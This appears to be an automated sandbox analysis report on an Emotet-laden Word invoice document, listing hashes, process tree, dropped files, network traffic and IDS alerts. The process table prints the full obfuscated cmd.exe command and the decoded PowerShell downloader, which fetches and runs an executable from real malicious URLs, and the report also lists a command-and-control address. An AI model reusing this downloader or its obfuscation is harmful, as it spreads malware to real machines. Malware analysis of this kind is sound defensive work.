File name: | Invoice_No_Y31857.doc |
Full analysis: | https://app.any.run/tasks/60ce57ef-13b7-42a8-89a7-98b5eb1358b8 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | November 14, 2018, 21:04:09 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Nov 14 18:30:00 2018, Last Saved Time/Date: Wed Nov 14 18:30:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0 |
MD5: | EF31CA90E7F3DE0CDCC1F17C62194A36 |
SHA1: | 591020E2D4804203499DA5FB5921D2941A3B9093 |
SHA256: | 538085E8CDF6B15B372D535DF1DEDF9A52CF4243D7DF75B4BADCC6072041E145 |
SSDEEP: | 1536:VvBTHocn1kp59gxBK85fBt+a9IUZpvVxoRZBsRghqxdhnxZBvxER6dznQH:1+41k/W482UBxoRZBsRghqxdhnxZBvxW |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | - |
---|---|
Subject: | - |
Author: | - |
Keywords: | - |
Comments: | - |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2018:11:14 18:30:00 |
ModifyDate: | 2018:11:14 18:30:00 |
Pages: | 1 |
Words: | 2 |
Characters: | 13 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | - |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 14 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2108 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Invoice_No_Y31857.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3288 | c:\jOuwbsbAQ\PhUHYKKrs\mnlnuaRmUvt\..\..\..\windows\system32\cmd.exe /C"^s^e^t ^?^'^#=^i&&^s^e^t ^+^,\=n&&^se^t ^`^+=Ob^jec^t&&s^e^t ^+^;-=^or&&^se^t ^]^$@^+=^.^wr&&^s^e^t ^#^;^$=^=^'&&set +#^;^_=b^o^x^m^e^di^a^.&&s^e^t ^*\'^,=X^2^bt^F^w@&&^s^e^t ^#^-^`^}=^9^b&&s^e^t ^#^-^]=^ '&&^s^e^t ^[^'^}^+=en(^'^G^ET'^,&&^s^e^t ^.^;^,=J^7^M&&^s^e^t ^[^'\=F^d&&^s^et -^;^$=^i^t^e($jZC^.&&set ^*^_=^e&&s^e^t ^[+^;=^S&&s^e^t ^~}=^$f^pj^=(^[Sy^s^t&&^se^t ^-^.;=^es^pon^s^e&&^se^t ^[^}=^m^lh&&^se^t .^,=^h^]^::G^e&&^se^t #^;^}=0)^;$^j^ZC^.^s^en&&^set ^?$^,^]=^e^m^.^IO.^P^at&&^s^e^t ^_\=(^$^aXM^ ^in &&^se^t ^,[~=hg^f^i^tne^ss^.^in^f^o/D^ozxE5V^2Q&&s^et ^-@^[=cen^t^er/^W&&se^t ^@^]^[^~=/&&^s^et #^[=B^o^d^y)^;^$pF^S^.sav^et^o^f^il&&set ^@^+^_=^ht^t&&s^e^t ^{^+`*=^d^od^b.^s^tr^eam'^;^fore^ac&&s^e^t ^.^`=^}c&&^s^e^t ^}^[^$=^pp^H^'^;^$l&&^s^e^t ^?^*^}^\=^s&&^s^et `^[=c^t^ &&^s^e^t ?^$^`^]=p^'^.^Sp^l&&^s^et ,^;^}=^'^@');&&^s^e^t $^#^[.=atch^{^}^} ^ ^ ^ &&^s^e^t ^]?\^$=m^l&&^s^e^t ^]^#^_\=^p^://&&^s^e^t ^`^*]=^ ^-c&&^s^et $^{^~[=^ &&^s^et ^,}=^:/&&^se^t ^_,^.*=^g&&^se^t ^`,=^pFS^.^t&&s^e^t ^'^_=(^$f^p^j);S&&^s^e^t ^\^[=^t&&^s^e^t {^.^-^\=^m ^'&&s^et ^$?=^o&&^se^t ^`^,^*?=^x^e^')^;^f7f81a39-5f63-5b42-9efd-1f13b5431005amp;&^s^e^t ^\^,=p^o^w&&s^e^t ^[,^_=art&&^s^et ^{^#=t^p://ju^e^g^o^s^a&&^s^et ^\+=Ne^w^-&&s^e^t ^;{=://^g^h^is^e^p.^org/^i^mg/j&&^s^et ^*^;^@=^o^pen(&&set ^*^~=^ ^ &&^s^et }^[$^\=^m^sx&&^s^et \^?^$,=^$^p^F&&set ^]^_=$^aXM^,&&s^e^t }\^{^@=w^w^w.&&^s^et ^]`=^a&&^s^et ^-?^'+= ^ ^ ^ ^ &&^se^t ^\'^.=t^T^em^p^Pa^t^h()^+^'^\^m^jY^.e&&s^e^t ^]^-=^he^ll^ $^IM^F&&^se^t .\^]^{=^d&&s^e^t ^.[=^;&&^s^et ^{;^-=F^d){^try^{^$j^ZC.&&^se^t ^;+=^br^e^ak&&se^t ^+}^~=^gr^ee&&^s^et ?~^@^\=^G^3&&^s^e^t ^[^{\^_=New-&&^s^e^t ^]$=pe^ ^= 1^;&&^se^t @^?~=ht^t^p^://&&^s^et ^_+^}=^Ob^j^e&&s^e^t ~^'^;=^t^a^.c&&s^e^t -#^*^~=^tt^p^';^$pF^S^ =^ &&^se^t {^@=()^;$^p^F^S^.&&^s^et \.^[^}=^='&&^s^e^t ^~}^#=J^S&&^s^et +^}=^K&&s^e^t ^#*^-^.=^2^.x&&s^e^t ^$#=^h&&^s^et ^?,=^@^ht^t^p&&^s^et ^,+=^m/&&^se^t ~^*^?=^ov^si&&set ^?@^'=-^Proce^s^s^ $^f^pj&&^se^t ^]^_*=/^TX^9^Yr&&^se^t ^+^@.=^er&&s^e^t ^#^,=^zdv^7^@h&&^s^e^t ^*^-^;[=r&&^se^t ^?^'=$^l&&^s^e^t [^'=^o^p&&^s^e^t ^@^#_=leo^.c^o^m&&s^e^t ]^;^-=^ ^=&&^se^t ^@-=t^t^p&&s^e^t ^~?^[=^t(&&s^et ^][^+=^5&&^se^t ^+;^'=v&&^s^et ^3bb5484c-acd3-5883-ae5d-000aa204eed3 ^}=)^;^f7f81a39-5f63-5b42-9efd-1f13b5431005amp;&^s^et ^@^+~{=E&&^s^et ^;^'^@=^y&&^se^t ^*^[}=^Z^@ht&&s^e^t ^.^'\=^j^ZC&&^s^et ^\]^*=^1^p&&^s^et ^`^*=^o&&^s^e^t '^[^]=^m&&^se^t ^_;^#=-c^o&&c^a^l^l ^s^e^t $_{]=%^\^,%%^+^@.%%^?^*^}^\%%^]^-%%^#^;^$%%^}^[^$%%^[^'\%%\.^[^}%%@^?~%%^+;^'%%~^*^?%%^_,^.*%%^+^;-%%~^'^;%%^`^*%%^,+%%^~}^#%%?~^@^\%%^][^+%%^\]^*%%^?,%%^,}%%^@^]^[^~%%}\^{^@%%^+}^~%%^+^,\%%+#^;^_%%^-@^[%%^.^;^,%%^#^,%%^@-%%^;{%%+^}%%^*\'^,%%^@^+^_%%^]^#^_\%%^,[~%%^*^[}%%^{^#%%^@^#_%%^]^_*%%^@^+~{%%^#^-^`^}%%?^$^`^]%%^?^'^#%%^~?^[%%,^;^}%%^~}%%^?$^,^]%%.^,%%^\'^.%%^`^,^*?%%^.^'\%%]^;^-%%^[^{\^_%%^_+^}%%`^[%%^_;^#%%{^.^-^\%%}^[$^\%%^]?\^$%%^#*^-^.%%^[^}%%-#^*^~%%^\+%%^`^+%%^`^*]%%^$?%%'^[^]%%^#^-^]%%^]`%%^{^+`*%%^$#%%^_\%%^?^'%%^{;^-%%[^'%%^[^'^}^+%%^]^_%%#^;^}%%.\^]^{%%{^@%%^*^;^@%%^3bb5484c-acd3-5883-ae5d-000aa204eed3 ^}%%^`,%%^;^'^@%%^]$%%\^?^$,%%^[+^;%%^]^$@^+%%-^;^$%%^*^-^;[%%^-^.;%%#^[%%^*^_%%^'^_%%^\^[%%^[,^_%%^?@^'%%^.[%%^;+%%^.^`%%$^#^[.%%^*^~%%$^{^~[%%^-?^'+%&&c^al^l %$^_{^]%"
| c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2760 | powershell $IMF='ppH';$lFd='http://vovsigorta.com/JSG351p@http://www.greenboxmedia.center/WJ7Mzdv7@http://ghisep.org/img/jKX2btFw@http://hgfitness.info/DozxE5V2QZ@http://juegosaleo.com/TX9YrE9bp'.Split('@');$fpj=([System.IO.Path]::GetTempPath()+'\mjY.exe');$jZC =New-Object -com 'msxml2.xmlhttp';$pFS = New-Object -com 'adodb.stream';foreach($aXM in $lFd){try{$jZC.open('GET',$aXM,0);$jZC.send();$pFS.open();$pFS.type = 1;$pFS.write($jZC.responseBody);$pFS.savetofile($fpj);Start-Process $fpj;break}catch{}} | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
544 | "C:\Users\admin\AppData\Local\Temp\mjY.exe" | C:\Users\admin\AppData\Local\Temp\mjY.exe | — | powershell.exe |
User: admin Company: Borland Corporation Integrity Level: MEDIUM Description: Borland C++ Multi-thread RTL (WIN/VCL MT) Exit code: 0 Version: 8.0.0.0 | ||||
1216 | "C:\Users\admin\AppData\Local\Temp\mjY.exe" | C:\Users\admin\AppData\Local\Temp\mjY.exe | mjY.exe | |
User: admin Company: Borland Corporation Integrity Level: MEDIUM Description: Borland C++ Multi-thread RTL (WIN/VCL MT) Exit code: 0 Version: 8.0.0.0 | ||||
3036 | "C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe" | C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe | mjY.exe | |
User: admin Company: Borland Corporation Integrity Level: MEDIUM Description: Borland C++ Multi-thread RTL (WIN/VCL MT) Exit code: 0 Version: 8.0.0.0 | ||||
3936 | "C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe" | C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe | lpiograd.exe | |
User: admin Company: Borland Corporation Integrity Level: MEDIUM Description: Borland C++ Multi-thread RTL (WIN/VCL MT) Version: 8.0.0.0 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2108 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA1AA.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2760 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8B03021GW8C12KT26DAA.temp | — | |
MD5:— | SHA256:— | |||
2760 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:3C6A7AAE234382390B6B52F47ECA1BAA | SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2 | |||
2760 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF5daeaa.TMP | binary | |
MD5:3C6A7AAE234382390B6B52F47ECA1BAA | SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2 | |||
1216 | mjY.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe | executable | |
MD5:C1F2CC76ACDE5264942DA0495C077A2F | SHA256:3D1EAA71E346F8E24924EA665F3586586B8D5F5CB9C93AB38FC55D189C17210D | |||
2108 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$voice_No_Y31857.doc | pgc | |
MD5:CB4EE942489EB0FD0886A7594C9840B0 | SHA256:826F30BA36D15E19CC04492E5047ACD84FB17EE77C030B412C55DF5F25900D46 | |||
2108 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:256A3EF47ED32A3D3038855D49DF0319 | SHA256:151B56C71BC28DD4D752808CE3A9352E96D9FA381320511F87B327A8208F5DD0 | |||
2760 | powershell.exe | C:\Users\admin\AppData\Local\Temp\mjY.exe | executable | |
MD5:C1F2CC76ACDE5264942DA0495C077A2F | SHA256:3D1EAA71E346F8E24924EA665F3586586B8D5F5CB9C93AB38FC55D189C17210D |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3936 | lpiograd.exe | GET | 200 | 50.78.167.65:7080 | http://50.78.167.65:7080/ | US | binary | 132 b | malicious |
2760 | powershell.exe | GET | 301 | 185.216.113.5:80 | http://vovsigorta.com/JSG351p | TR | html | 238 b | malicious |
2760 | powershell.exe | GET | 200 | 185.216.113.5:80 | http://vovsigorta.com/JSG351p/ | TR | executable | 424 Kb | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2760 | powershell.exe | 185.216.113.5:80 | vovsigorta.com | — | TR | malicious |
3936 | lpiograd.exe | 50.78.167.65:7080 | — | Comcast Cable Communications, LLC | US | malicious |
Domain | IP | Reputation |
---|---|---|
vovsigorta.com |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
2760 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2760 | powershell.exe | A Network Trojan was detected | ET CURRENT_EVENTS Likely Evil EXE download from MSXMLHTTP non-exe extension M2 |
2760 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
3936 | lpiograd.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |